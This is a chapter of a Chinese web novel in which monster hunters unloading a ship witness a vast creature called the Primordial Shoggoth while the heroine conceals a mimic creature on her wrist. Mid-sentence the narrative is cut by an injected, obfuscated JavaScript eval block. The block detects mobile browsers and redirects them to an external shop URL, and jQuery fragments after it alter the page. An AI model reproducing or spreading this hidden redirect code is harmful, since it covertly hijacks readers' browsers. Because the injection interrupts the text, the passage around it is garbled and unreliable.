默认冷灰
24号文字
方正启体

5. 原初修格斯

作者:小灶本书字数:K更新时间:
    “下来!”


    万里薅住假手链用力往外拽。


    小怪物不肯,它牢牢扒在腕骨上,即使被扯成拉面状,就是不断,末端死死缠着,透着一股视死如归的劲头。


    不小心手一松,“拉面”迅速回弹,重新拟态成手链的样子,体内光点流速加快,像在庆祝胜利。


    二者僵持不下时,一艘吃水极深的大船,无声无息地从晨雾中拱了出来。万里快速捂严袖口,牛皮纸袋还在脚边,被她一脚踹进海里。


    手腕上的小怪物仍不老实,听见动静,顺着袖口往外试探,万里屈起中指,狠狠一弹——


    它吓了一跳,委委屈屈缩回去了。


    一条缆绳从甲板上抛过来,重重砸在铁桩上。她跑过去绕桩系好,跳板紧跟着落下,二十来号人陆续走了出来。


    远看,这群人像从古地球穿越过来的骑士,近看更像。


    每人都是一身轻便的锰钢合金甲胄,半人高的重型电磁线圈步枪斜背在身后,枪管朝天。甲胄外头还披着各色布罩,绣什么的都有:名字、十字架、黑锚,顶不济还有一个竖中指的火柴人。


    万里翻开跨岸清剿的猎人名单,挨个点名。


    “托比亚斯。”


    “这儿呢。”一个剃板寸的北欧壮汉走到近前,十分熟稔地拍了拍万里的肩膀。


    “江竹。”


    “到!”


    墨蓝色钢笔在名字后头一个个勾下去,只剩最后两个。


    “科尔涅娃。”


    没有人答。


    “科尔涅娃!”万里扫视一圈,抬高声音又喊一次。


    “别喊了,她正跟小叔子在后舱忙活呢。”


    另一个猎人嚼着烟叶插嘴:“我数着呢,鲍尔那家伙最多两分钟。”


    话音刚落,一个身材高挑的斯拉夫女人从船舱口走了出来。她一头卷发凌乱,胸甲扣子敞着,脖子上有两道新鲜红痕。


    科尔涅娃走到万里面前停下,伸手捏了捏她的腮帮子。


    “小美人儿……脸这么凉!你爸又上哪儿鬼混了?净干征用童工的缺德事儿。”


    “科尔涅娃阿姨,我十九了。”


    一个高出女人半头的男猎人走出来,甲胄同样是歪的。他从后面搂上科尔涅娃,粗糙的指头在甲片和皮带缝隙里不安分地游移。


    “嫂子,等下去我那。”鲍尔的嘴唇贴着科尔涅娃的耳朵,气音多得黏嘴,“我搞到了一瓶酩帝诗黑麦威士忌,就咱俩,不带别人。”


    科尔涅娃偏过头看他一眼,目光说不上嫌弃还是受用,大概两者都有。她没回答,伸手揪住鲍尔的领口往下拽,嘴对嘴亲了上去。


    二人的甲胄碰撞,发出刺耳摩擦声,可他们充耳不闻,鲍尔扣着科尔涅娃的后脑,两个人在万里面前激吻,好像这条栈道是自家客厅。


    满员收。


    万里合上名单,绕过啃得起劲的两个人,往沉放船上去了。


    这种事见得多,也就没人奇怪了。这帮人成日在海上搏命,情绪在暴虐与恐惧之中来回切换,总得找个地方把它们倒出去,宣泄的方式无非两种:酒,或者性。


    对大多数猎人而言,它们只是两种不同效果的止疼药而已,不能治病,但能让他们睡个好觉。


    万里不觉得有什么可指摘的,只是偶尔会想,自己以后会不会也走到那一步。


    在第一次跨岸清剿的那个夜里,她曾在舱壁外听见过那种声音,喘息和床板声混在一起,又闷又长,像两头脱了力的老牛趴在泥坑打架。


    那动静毁掉了一个女孩对亲密关系的一切向往,万里想象不出自己身处那个场景中的样子,她甚至连想象的欲望都没了。


    沉放船的甲板比栈道高出半米,万里撑着船舷翻上去,先踩到一层滑腻的东西。甲板上全是嚼碎的烟叶渣,像一地被碾烂的虫子。烟臭味打底,混着薄荷甘草,再加一层异种黏液氧化后的腥甜。


    假手链在不断收紧。大概是厌恶这股气味,小怪物用触手把袖口从里头缠得严严实实,直筒袖被它弄成了灯笼袖。


    甲板上三三两两蹲着几个老猎人,他们不如年轻人身手利索,于是主动承担了善后的活儿。每人手里一把改装油锯,嘎吱嘎吱地切割着异种尸体。


    “万里!”


    一个老猎人冲她挥手。


    老唐,五十九岁,少有的活到退休的猎人。他的左手安装过机械义肢,结果感染了,组织异常增生,切口长出了一圈褶皱翻卷的肉边,蓬蓬的,像一朵开在手腕上的肉花。


    那朵肉花此刻就在万里眼前飞舞,随着老唐挥手的动作一颤一颤。她在心里给这朵花评了九分。


    品种独特,长势旺盛,粉嫩娇艳,很有生命力。


    “你来得正好!”老唐关了油锯,往大腿上一搭,“那条海蜈蚣太几把重了,把液压钳卡住了,还没断气呢,你去给它一刀!”


    万里点点头,拔出开罐器就去了。


    船尾这条海蜈蚣体长将近三十米,有三十五段关节,灰黑色的甲壳布满瘤状突起,口器是放射状的颚足,身上全是被穿.甲.弹命中后留下的大坑,露出里头连着筋膜的神经束。


    察觉到有人靠近,头部凹陷处藏着的六只眼猛地睁开,暗红冰冷,无机质的瞳孔死死锁在万里身上。


    海蜈蚣不算聪明的异种,但它嗅到了天敌利维坦的气息,于是它意识到自己要死了,头顶镰刀状的触角疯狂飞舞,口器蠕动,对着万里就是一声狂怒的嚎叫。


    这动静尖锐得很,路过的猎人掏掏耳朵,啧了一声,抬脚碾在它裸露在外的神经束上,海蜈蚣的威慑声立刻变调,愈发刺耳。


    万里蹲下去,刀尖对准颅板就是一下,利维坦的眼鳞瞬间没入海蜈蚣脑腔,没有丝毫阻力。她握着刀把搅了三圈,一拔,灰绿色的脑浆顺着刀刃往下淌。


    刺耳的叫声终于停了。


    她打量了下眼前这具甲壳,品相不太好,穿.甲.弹打得太密,完整的甲片没剩几块,挑了半天,勉强找出三块能用的。万里对着关节交接处下刃,利落撬开,缝隙里渗出黏液,带着一股氨味。


    手腕上忽然一动。


    触手从袖口边缘探出来,往那堆海蜈蚣的方向伸,光点流速微微加快,隐约透着跃跃欲试的意思。


    万里把那截触手摁了回去,两秒后它又探出来。


    再摁,再探,反复三次后万里干脆不管了,专心撬甲壳,小怪物凑近看了几秒,大约是觉得海蜈蚣的血肉不合口味,自己又缩回去了。


    “记录员来了,都排好队!”


    万里拖着那三片完好甲壳走到老唐身边,往他脚下一扔,后者嘿嘿一笑,十分自然地拿脚把甲壳归拢进自己那堆战利品里。


    帕尔默腋下夹着登记簿,利落翻上甲板,身后还跟着莉诺。


    “这回你爸该服了吧?喝不趴他!”一见万里,帕尔默笑开了,“这就叫自取其辱!”


    “彻底服了,我爸搂着轮椅睡得可香了。”


    “咦!”一声惊呼,莉诺不慎踩到黏液,险些滑了一跤。


    “登记员!过来发钱!酒馆快关门了!”有猎人远远吼了一嗓子。


    帕尔默暗骂一声,小跑着过去了。


    “你这是……”万里低头打量起好友的装束。


    及膝胶靴,黑色防水钓鱼裤,外面罩了件收腰的深灰冲锋衣,袖口卷到小臂中段,露出一双黑色手套。为了搭配,头上还别了一支黑色发箍。


    “怎么样?”莉诺原地转了一圈,冲万里扬了扬终端,“我打算拍一期出海日常!这学期的期末作业是社会观察,题目是《伦理与文明秩序》”。


    “所以文明跟出海有什么关系?”


    “太有关系了!你看这乌泱泱的……”莉诺对着满是异骸的甲板拍了一圈儿,最后镜头定格在万里脸上,“第八海岸、异种、猎人、暴力合法性!这不全是素材吗?”


    看着周围的这堆红白烂肉,万里摇了摇头,她寻思这些不应该是反面素材吗。


    “你确定这些播出去不会吓到人?”


    “吓到更好,最好叫他们知道我不是好惹的!来,你帮我拍一段!”


    莉诺二话不说把终端塞给万里,三两步跑过去踩上海蜈蚣的脑门,一手叉腰,一手高举开罐器直指天空,意气风发地喊:


    “我要么胜利,要么死亡!”[1]


    万里透过取景框看着冒傻气的好友。


    一缕晨光从外海方向斜斜打在莉诺身上,辫发和耳钉被照得发亮,她抬着下巴,笑得毫无顾忌,快乐得像这个世界欠了她一座王座,而她此刻终于来取了。


    有些人天生就适合站在光里,万里想,哪怕那人脚下踩着的是一具还在冒脑浆的海蜈蚣尸体。


    “好了。”


    “我看看我看看!”


    两个女孩凑在一起看回放,莉诺发现画面中的自己居然还真有几分像样,她有些得意:“怎么样?是不是特别有史诗感?”


    “嗯。”万里给了个还算公道的评价:“你像个刚登基的疯子。”


    “我去你的!”


    “哈哈哈……”


    等帕尔默写完最后一笔,甲板上的异种也整理得差不多了。留样的留样,剥皮的剥皮,剩下失去研究价值的异骸被铁钩拖到船腹后方,等着沉放。


    “走了!”帕尔默冲驾驶舱竖起大拇指。


    引擎声响起,船离开泊船口,调头朝外海开去。


    距离沉放带越近,海水的颜色越深,暗赭,浓稠,是一种不祥的红。


    莉诺背靠栏杆,身体极力往后仰,双臂大张,上半身几乎悬在船舷外沿。风灌进她敞开的冲锋衣,把衣摆吹成两面翅膀。有那么一瞬间,万里觉得只要一朵小浪过来,好友就会像只失足的海鸟那样坠下去。


    “这里很美,万里。”


    “我真的觉得泰拉地理的人该来这里取景,说不定第八海岸的日子也会好过一些……”


    可谁会跑来坟地取景呢。


    万里扫了一圈,头顶是压低的灰云,脚下是红到发黑的海,她想不通莉诺这句“很美”从何而来,于是学着好友的动作,背靠栏杆,身体往后仰到极限。


    天空还是那片天空,非要说哪里美,万里只能夸一句灰得很均匀。海风吹过来,她闭上眼睛。


    算了,莉诺说美,姑且算它美吧。


    晨雾不知不觉又漫了上来,能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483277|201872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    见度迅速降低,不到一分钟,船尾的吊臂都看不清了。


    万里的右腕忽然传来剧痛。


    低头一看,那小怪物紧紧勒住她的腕骨,体内光点一颗颗熄灭,好像怕被什么东西发现一样。不等她纳闷,晨雾里传来一股淡淡的碱味,只是几个呼吸,鼻腔黏膜处就开始刺痛。


    万里快步走进船舱,从壁柜里取出几只呼吸面罩。再出来时,莉诺正举着终端对着晨雾自拍,嘴里嚷嚷着什么“末日美学”。


    “先戴上。”她把面罩扣到莉诺脸上,按紧侧扣。


    “怎么了?”


    “原初修格斯。”万里给自己扣上另一副,拉紧绑带,“如果你能拍到它的完整影像,我觉得泰拉地理会很乐意找你买版权的。”[2]


    “那只T0?!”莉诺呆愣两秒,怪叫一声,激动地脸颊发红。


    帕尔默和老唐的反应与这边截然不同。


    两个老男人眉头锁紧,苦大仇深,老唐更是面色发白,手臂被异种生生咬去的幻痛又钻出来了。


    “它不是只在超深渊带活动吗?难道海沟又异动了……”


    “不知道。”帕尔默盯着浓雾某个方向,“深层洋流改道也有可能把它推上来。”


    虽然原初修格斯的威胁等级是T0,但它性情温顺,没有任何攻击性。真正致命的是它呼吸释放的碱性雾气,吸入过量会灼伤黏膜,导致肺部蛋白质变性液化。但只要做好呼吸防护,人类是可以在目视距离内存活的。


    理论上可以,所以大家都跑来甲板凑热闹了。


    碱雾越来越浓。


    海面缓缓鼓起,有东西从下面顶上来。沉放船被这股上升的海水顶歪了十几度,所有人都紧紧抓住栏杆。


    最先浮出水面的是一片半透明,皂化凝胶质感的组织。灰白浑浊,带着一种恶心的黄,像溺水生物的皮肤被碱液浸泡过后的颜色。紧跟着是一片数以万计,大小不一的眼球。


    这不是生物身上应该有的器官数量,更像一种增殖。好像原初修格斯忘记了如何停止生长眼球,于是就一直长,直到覆盖了整个体表。


    它还在上浮。


    再往下,是一道道巨大的豁口,随着呼吸张合,每一次都露出内部暗紫色的巨大肠管,以及管壁上附着的深褐色沉积物。


    这也是万里第一次目击原初修格斯,她试图判断这只生物的全貌,但很快放弃了。它的体积远超标准货轮,两艘,也许是五艘,并且没有固定的形态,每一次蠕动,上万只眼球也跟着重新排列。


    甲板上安静的像是死了。


    莉诺始终举着终端,万里分不清她是兴奋还是恐惧,因为好友呼吸加速,但是手一直紧紧掐着自己的胳膊。


    就在这时,一截触手又探了出来。


    万里飞快地按住了它,不是现在,至少不能在莉诺的镜头下。


    原初修格斯本来在缓慢地向西漂移,突然停住,体表的豁口同时闭合,那些眼球圆睁,瞬间对准同一个目标——


    万里。


    有人倒吸了一口气。


    被上万只没有瞳孔的眼球同时注视是什么感觉。


    万里说不上来,那不是恐惧两个字能概括的。


    面罩后面的呼吸陡然急促,冷汗沿着脊柱往下淌。她忽然感到绝望,绝望到想拔出开罐器对着脖子抹上一刀,仿佛只要先一步结束自己,就能从这场凝视里逃掉。


    原初修格斯缓缓弯下身体,海面因此剧烈翻涌,沉放船被海浪推得剧烈倾斜,帕尔默一手抓着栏杆,一手护着莉诺。


    最大的那只眼球直径约十米,随着它的下沉慢慢靠近,最后悬停在距离万里不到半米的头顶。


    它离得太近了,近到万里能看到它眼膜上挂着的肮脏黏液,近到她能看见自己戴着面罩的倒影。


    渺小得可怜,像一块被压在载玻片里的细胞。


    没有瞳孔的眼睛是无法对视的,但万里确实感受到了原初修格斯的注视,她不知道这只巨眼究竟在看什么,是她本人?还是她袖口里的小怪物?


    裸露在外的皮肤开始灼痛,可万里不敢动。


    原初修格斯具体停留了多久,她不确定,一切的感知都在这段注视下出了故障。也许是一分钟,也许是一小时,直到万里的呼吸面罩被呵气覆盖。


    这只生物好似在疑惑,但它得不到答案,于是收回了视线,眼球又恢复了散漫状态,随着体表蠕动漫无目的地重组,不再聚焦于任何一个方向。


    缓缓抬起身体,原初修格斯继续向西漂移。


    甲板上陆续响起了长长的呼气声。


    手腕上隐隐传来一道微弱的脉动,小怪物像被吓坏了,一动不动蜷在那里,乖得像条真手链。


    迟疑了一下,万里还是把手伸进袖口,指腹轻轻搭上它。算起来,她们也算同生共死过一次了。


    看着原初修格斯消失的方向,她忽然觉得,那个东西不该被称为异种。至少异种的行为是有逻辑的:捕食、防御、繁殖,每一个目的都指向生存。


    可原初修格斯不是。


    除了它,还有手腕上这个家伙……万里低头看了眼袖口。


    这只小怪物似乎也不太像异种。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)